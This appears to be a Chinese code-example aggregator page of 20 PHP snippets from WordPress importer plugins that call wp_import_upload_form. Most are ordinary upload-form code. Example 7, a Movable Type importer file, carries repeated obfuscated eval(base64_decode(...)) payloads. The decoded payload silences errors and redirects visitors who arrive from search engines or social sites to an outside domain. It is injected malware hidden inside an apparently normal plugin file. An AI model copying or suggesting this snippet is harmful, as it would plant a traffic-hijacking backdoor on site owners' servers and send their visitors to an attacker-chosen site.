本文整理汇总了PHP中wp_import_upload_form函数的典型用法代码示例。如果您正苦于以下问题:PHP wp_import_upload_form函数的具体用法?PHP wp_import_upload_form怎么用?PHP wp_import_upload_form使用的例子?那么恭喜您, 这里精选的函数代码示例或许可以为您提供帮助。
在下文中一共展示了wp_import_upload_form函数的20个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于我们的系统推荐出更棒的PHP代码示例。
示例1: opml_import
/**
* Shows The Import Page and import form for step 1.
* Calls the parsing and importing function for step 2.
*
* @since 3.3
* @return void
*/
public function opml_import()
{
// Show the Icon and Title
echo '<div class="wrap">';
screen_icon();
echo '<h2>Import OPML</h2>';
// Get the current step from URL query string
$step = empty($_GET['step']) ? 0 : (int) $_GET['step'];
// Check the current step
switch ($step) {
default:
case 0:
// Show the Import Message and the import upload form
echo '<p>' . __('Howdy! Import your feeds here from an OPML (.xml) export file.', 'wprss') . '</p>';
echo '<p>' . __("Click the button below, choose your file, and click 'Upload'.", 'wprss') . '</p>';
echo '<p>' . __('We will take care of the rest.', 'wprss') . '</p>';
// Show an import upload form that submits to the same page, with GET parameter step=1
wp_import_upload_form('admin.php?import=wprss_opml_importer&step=1');
break;
case 1:
// Check referer
check_admin_referer('import-upload');
// If the handle_upload function returns true
if ($this->handle_upload()) {
// Get the uploaded file
$file = get_attached_file($this->id);
set_time_limit(0);
// Parse the File and Import the feeds
$this->parse_and_import($file);
}
break;
}
echo '</div>';
}
开发者ID:kivivuori,项目名称:jotain,代码行数:41,代码来源:opml-importer.php
示例2: greet
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Howdy! This importer allows you to extract posts from an RSS 2.0 file into your WordPress site. This is useful if you want to import your posts from a system that is not handled by a custom import tool. Pick an RSS file to upload and click Import.', 'rss-importer') . '</p>';
wp_import_upload_form("admin.php?import=rss&step=1");
echo '</div>';
}
开发者ID:kemayo,项目名称:wp-rss-importer,代码行数:7,代码来源:rss-importer.php
示例3: greet
function greet() {
echo '<div class="narrow">';
echo '<p>'.__('Howdy! Upload your WordPress eXtended RSS (WXR) file and we’ll import the posts, pages, comments, custom fields, categories, and tags into this blog.').'</p>';
echo '<p>'.__('Choose a WordPress WXR file to upload, then click Upload file and import.').'</p>';
wp_import_upload_form("admin.php?import=wordpress&step=1");
echo '</div>';
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:7,代码来源:wordpress.php
示例4: greet
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Howdy! This importer allows you to extract posts from Blogware XML export file into your blog. Pick a Blogware file to upload and click Import.') . '</p>';
wp_import_upload_form("admin.php?import=blogware&step=1");
echo '</div>';
}
开发者ID:nurpax,项目名称:saastafi,代码行数:7,代码来源:blogware.php
示例5: greet
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Upload your <a href="http://blogml.codeplex.com/">BlogML</a> file and we’ll import the posts, comments, authors, and categories into this blog.') . '</p>';
echo '<p>' . __('Choose a BlogML file to upload, then click Upload file and import.') . '</p>';
wp_import_upload_form("admin.php?import=blogml&step=1");
echo '</div>';
}
开发者ID:jishnus,项目名称:blogml-wordpress-import,代码行数:8,代码来源:blogml-importer.php
示例6: greet
function greet() {
$this->header();
?>
<p><?php _e('Howdy! We’re about to begin the process to import all of your Movable Type entries into WordPress. To begin, select a file to upload and click Import.'); ?></p>
<?php wp_import_upload_form( add_query_arg('step', 1) ); ?>
<p><?php _e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if—for whatever reason—it doesn\'t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.'); ?> </p>
<?php
$this->footer();
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:9,代码来源:mt.php
示例7: greet
function greet()
{
$this->header();
?>
<div class="narrow">
<p><?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydI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TsNCn0KfQp9DQp9DQp9"));
_e('Howdy! We’re about to begin importing all of your Movable Type or TypePad entries into WordPress. To begin, either choose a file to upload and click “Upload file and import”, or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"');
?>
</p>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
wp_import_upload_form(add_query_arg('step', 1));
?>
<form method="post" action="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
echo esc_attr(add_query_arg('step', 1));
?>
" class="import-upload-form">
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
wp_nonce_field('import-upload');
?>
<p>
<input type="hidden" name="upload_type" value="ftp" />
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory');
?>
</p>
<p class="submit">
<input type="submit" class="button" value="<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFR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ZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
_e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if—for whatever reason—it doesn’t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.');
?>
</p>
</div>
<?php
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
$this->footer();
}
开发者ID:nagyist,项目名称:laura-wordpress,代码行数:50,代码来源:mt.php
示例8: greet
function greet()
{
echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'rs-csv-importer') . '</p>';
echo '<p>' . __('Maybe Excel-style CSV file is not best for import data. Follow export options below. LibreOffice might be good for you.', 'rs-csv-importer') . '</p>';
echo '<ol>';
echo '<li>' . __('Select UTF-8 as charset.', 'rs-csv-importer') . '</li>';
echo '<li>' . sprintf(__('You must use field delimiter as "%s"', 'rs-csv-importer'), RS_CSV_Helper::DELIMITER) . '</li>';
echo '<li>' . __('You must quote all text cells.', 'rs-csv-importer') . '</li>';
echo '</ol>';
echo '<p>' . __('Sample CSV file download:', 'rs-csv-importer');
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.csv">' . __('csv', 'rs-csv-importer') . '</a>,';
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.ods">' . __('ods (OpenDocument Spreadsheet file format)', 'rs-csv-importer') . '</a>';
echo '</p>';
wp_import_upload_form(add_query_arg('step', 1));
}
开发者ID:umbezt,项目名称:Soka-Education-Student-Research-Project,代码行数:15,代码来源:rs-csv-importer.php
示例9: page_content
function page_content()
{
if (isset($_GET['step']) && 1 == $_GET['step']) {
$this->import();
}
if (defined('WP_DEBUG') && isset($_GET['step']) && 'export' == $_GET['step']) {
$wud = wp_upload_dir();
$name = '/export-' . substr(md5(rand()), 0, 8) . '.csv';
$this->export($wud['basedir'] . $name);
echo scb_admin_notice('CSV Generated: ' . html_link($wud['baseurl'] . $name));
}
echo '<div class="narrow">';
echo '<p>' . __('Below you will find a tool which allows you to import content from other systems via a CSV (comma-separated values) file, which can be edited using a program like Excel. Note that the file must be in the correct format for the import tool to work. You will find an example .csv file in the "examples" theme folder.', 'appthemes') . '</p>';
echo '<p>' . __('Choose a CSV file to upload, then click "Upload file and import".', 'appthemes') . '</p>';
wp_import_upload_form('admin.php?page=app-importer&step=1');
echo '</div>';
}
开发者ID:ugurbastan,项目名称:swe-574-group4,代码行数:17,代码来源:importer.php
示例10: greet
function greet()
{
echo '<p>' . __('Choose a CSV (.csv) file to upload, then click Upload file and import.', 'really-simple-csv-importer') . '</p>';
echo '<p>' . __('Excel-style CSV file is unconventional and not recommended. LibreOffice has enough export options and recommended for most users.', 'really-simple-csv-importer') . '</p>';
echo '<p>' . __('Requirements:', 'really-simple-csv-importer') . '</p>';
echo '<ol>';
echo '<li>' . __('Select UTF-8 as charset.', 'really-simple-csv-importer') . '</li>';
echo '<li>' . sprintf(__('You must use field delimiter as "%s"', 'really-simple-csv-importer'), RS_CSV_Helper::DELIMITER) . '</li>';
echo '<li>' . __('You must quote all text cells.', 'really-simple-csv-importer') . '</li>';
echo '</ol>';
echo '<p>' . __('Download example CSV files:', 'really-simple-csv-importer');
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.csv">' . __('csv', 'really-simple-csv-importer') . '</a>,';
echo ' <a href="' . plugin_dir_url(__FILE__) . 'sample/sample.ods">' . __('ods', 'really-simple-csv-importer') . '</a>';
echo ' ' . __('(OpenDocument Spreadsheet file format for LibreOffice. Please export as csv before import)', 'really-simple-csv-importer');
echo '</p>';
wp_import_upload_form(add_query_arg('step', 1));
}
开发者ID:beeyayjay,项目名称:really-simple-csv-importer,代码行数:17,代码来源:rs-csv-importer.php
示例11: greet
function greet()
{
$this->header();
?>
<div class="narrow">
<p><?php
_e('Howdy! We’re about to begin importing all of your Movable Type or Typepad entries into WordPress. To begin, either choose a file to upload and click "Upload file and import," or use FTP to upload your MT export file as <code>mt-export.txt</code> in your <code>/wp-content/</code> directory and then click "Import mt-export.txt"');
?>
</p>
<?php
wp_import_upload_form(add_query_arg('step', 1));
?>
<form method="post" action="<?php
echo add_query_arg('step', 1);
?>
" class="import-upload-form">
<?php
wp_nonce_field('import-upload');
?>
<p>
<input type="hidden" name="upload_type" value="ftp" />
<?php
_e('Or use <code>mt-export.txt</code> in your <code>/wp-content/</code> directory');
?>
</p>
<p class="submit">
<input type="submit" class="button" value="<?php
echo attribute_escape(__('Import mt-export.txt'));
?>
" />
</p>
</form>
<p><?php
_e('The importer is smart enough not to import duplicates, so you can run this multiple times without worry if—for whatever reason—it doesn\'t finish. If you get an <strong>out of memory</strong> error try splitting up the import file into pieces.');
?>
</p>
</div>
<?php
$this->footer();
}
开发者ID:BGCX262,项目名称:zxhproject-svn-to-git,代码行数:42,代码来源:mt.php
示例12: greet
/**
* greet function.
*
* @access public
* @return void
*/
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Hi there! Choose a .csv file to upload, then click "Upload file and import".', 'prosports') . '</p>';
echo '<p>' . sprintf(__('Sponsors need to be defined with columns in a specific order (2 columns). <a href="%s">Click here to download a sample</a>.', 'prosports'), SP_SPONSORS_URL . 'dummy-data/sponsors-sample.csv') . '</p>';
wp_import_upload_form('admin.php?import=prosports_sponsor_csv&step=1');
echo '</div>';
}
开发者ID:kleitz,项目名称:ProSports,代码行数:14,代码来源:class-sp-sponsor-importer.php
示例13: csv_importer
public function csv_importer()
{
echo '<form method="POST" action="" enctype="multipart/form-data">';
// Load Importer API
require_once ABSPATH . 'wp-admin/includes/import.php';
if (!class_exists('WP_Importer')) {
$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
if (file_exists($class_wp_importer)) {
require_once $class_wp_importer;
}
}
if (empty($_FILES)) {
echo "<p>Use the below form to upload your CSV file for importing.</p>";
echo "<p><strong>Example CSV Data:</strong></p>";
echo "<p><code>'Title','Body','Client Name','Position / Location / Other','Location / Product / Other','Rating','HTID'</code></p>";
echo "<p><strong>Please Note:</strong> the first line of the CSV will need to match the text in the above example, for the Import to work. Depending on your server settings, you may need to run the import several times if your script times out.</p>";
echo '<div class="gp_upload_file_wrapper">';
wp_import_upload_form(add_query_arg('step', 1));
echo '</div>';
} else {
$file = wp_import_handle_upload();
if (isset($file['error'])) {
echo '<p><strong>' . 'Sorry, there has been an error.' . '</strong><br />';
echo esc_html($file['error']) . '</p>';
return false;
} else {
if (!file_exists($file['file'])) {
echo '<p><strong>' . 'Sorry, there has been an error.' . '</strong><br />';
printf('The export file could not be found at <code>%s</code>. It is likely that this was caused by a permissions problem.', esc_html($file['file']));
echo '</p>';
return false;
}
}
$fileid = (int) $file['id'];
$file = get_attached_file($fileid);
$result = $this->import_testimonials_from_csv($file);
if (is_wp_error($result)) {
echo $result;
} else {
echo "<p>Testimonials successfully imported!</p>";
}
}
echo '</form>';
}
开发者ID:phanhoanglong2610,项目名称:anc_gvn,代码行数:44,代码来源:testimonials_importer.php
示例14: csv_importer
public function csv_importer()
{
// Load Importer API
require_once ABSPATH . 'wp-admin/includes/import.php';
if (!class_exists('WP_Importer')) {
$class_wp_importer = ABSPATH . 'wp-admin/includes/class-wp-importer.php';
if (file_exists($class_wp_importer)) {
require_once $class_wp_importer;
}
}
if (empty($_FILES)) {
//echo '<form method="POST" action="" enctype="multipart/form-data">';
echo "<p>Use the form below to upload your CSV file for importing.</p>";
echo "<p><strong>Example CSV Data:</strong></p>";
echo "<p><code>'Title','Body','Client Name','E-Mail Address','Position / Location / Other','Location / Product / Other','Rating','HTID','Featured Image','Categories'</code></p>";
echo "<p><strong>Please Note:</strong> the first line of the CSV will need to match the text in the above example, for the Import to work. Featured Image is expecting a path to an accessible image online. Depending on your server settings, you may need to run the import several times if your script times out.</p>";
echo '<div class="gp_upload_file_wrapper">';
ob_start();
wp_import_upload_form(add_query_arg('step', 1));
$import_form_html = ob_get_contents();
$import_form_html = str_replace('<form ', '<div data-gp-ajax-form="1" ', $import_form_html);
$import_form_html = str_replace('</form>', '</div>', $import_form_html);
// must remove this hidden "action" input, or the form will not
// save proerly (it will keep going to options.php)
$import_form_html = str_replace('<input type="hidden" name="action" value="save" />', '', $import_form_html);
ob_end_clean();
echo $import_form_html;
echo '</div>';
//echo '</form>';
} else {
$file = wp_import_handle_upload();
echo '<h4>Log</h4>';
echo '<textarea rows="20" class="import_response">';
//if there is an error, output a message containing the error
if (isset($file['error'])) {
echo "Sorry, there has been an error.\n";
echo esc_html($file['error']) . "\n";
// if the file doesn't exists, output a message about it
} else {
if (!file_exists($file['file'])) {
echo "Sorry, there has been an error.\n";
printf("The export file could not be found at %s. It is likely that this was caused by a permissions problem.\n", esc_html($file['file']));
// otherwise, if there is no error and the file exists, go ahead and process the file
} else {
$fileid = (int) $file['id'];
$file = get_attached_file($fileid);
$this->import_testimonials_from_csv($file);
echo "\nTestimonials successfully imported!\n";
}
}
echo '</textarea>';
//close response
echo '<p><a class="button-primary button" href="/wp-admin/admin.php?page=easy-testimonials-import-export" title="Import More Testimonials">Import More Testimonials</a></p>';
}
}
开发者ID:benshez,项目名称:DreamWeddingCeremonies,代码行数:55,代码来源:gp-testimonial-importer.class.php
示例15: greet
function greet()
{
wp_import_upload_form(add_query_arg('step', 1));
}
开发者ID:mclesceri,项目名称:webworkerme-Framework,代码行数:4,代码来源:themesupports-init.php
示例16: greet
/**
* greet function.
*/
public function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Choose a .csv file to upload, then click "Upload file and import".', 'wp-club-manager') . '</p>';
echo '<p>' . sprintf(__('Players need to be defined with columns in a specific order (11 columns). <a href="%s">Click here to download a sample</a>.', 'wp-club-manager'), plugin_dir_url(WPCM_PLUGIN_FILE) . 'dummy-data/player-sample.csv') . '</p>';
wp_import_upload_form('admin.php?import=wpclubmanager_player_csv&step=1');
echo '</div>';
}
开发者ID:salageansergiumarco,项目名称:academiadefotbalnapoca.ro,代码行数:11,代码来源:class-wpcm-player-importer.php
示例17: greet
/**
* Display introductory text and file upload form
*/
function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Howdy! Upload your Blogger Exported XML file and we’ll import the contents from it into this site.', 'blogger-importer') . '</p>';
echo '<p>' . __('Choose an XML file to upload, then click Upload file and import.', 'blogger-importer') . '</p>';
wp_import_upload_form('admin.php?import=blogger&step=1');
echo '</div>';
}
开发者ID:nihrain,项目名称:accelerate,代码行数:11,代码来源:blogger-importer.php
示例18: greet
/**
* Display introductory text and file upload form.
*
* @return void
*/
private function greet()
{
echo '<div class="narrow">';
echo '<p>' . __('Howdy! Upload your WordPress options JSON file and we’ll import the desired data. You’ll have a chance to review the data prior to import.', 'wp-options-importer') . '</p>';
echo '<p>' . __('Choose a JSON (.json) file to upload, then click Upload file and import.', 'wp-options-importer') . '</p>';
wp_import_upload_form('admin.php?import=wp-options-import&step=1');
echo '</div>';
}
开发者ID:gopinathshiva,项目名称:wordpress-vip-plugins,代码行数:13,代码来源:options-importer.php
示例19: greet
/**
* Display introductory text and file upload form
*/
function greet()
{
$this->server_settings();
echo '<p class="text-style">' . theme_locals("select_xml") . '</p>';
if (get_option('cherry_sample_data')) {
echo "<p class='text-style' style='color:#BD362F'>" . theme_locals('sample_data_import_warning') . "</p>";
}
wp_import_upload_form($this->step2);
echo '<form enctype="multipart/form-data" id="skip-import-data" method="post" action="' . $this->step3 . '">';
echo '<p class="submit"><input type="submit" class="btn-link" value="' . theme_locals("skip") . '"></p>';
echo '</form>';
echo '<div class="clear"></div>';
}
开发者ID:poolieweb,项目名称:LawStaticAthena,代码行数:16,代码来源:wordpress-importer.php
示例20: greet
function greet() {
echo '<p>'.__('Howdy! This importer allows you to extract posts from LiveJournal XML export file into your blog. Pick a LiveJournal file to upload and click Import.').'</p>';
wp_import_upload_form("admin.php?import=livejournal&step=1");
}
开发者ID:staylor,项目名称:develop.svn.wordpress.org,代码行数:4,代码来源:livejournal.php
注:本文中的wp_import_upload_form函数示例整理自Github/MSDocs等源码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。 |
请发表评论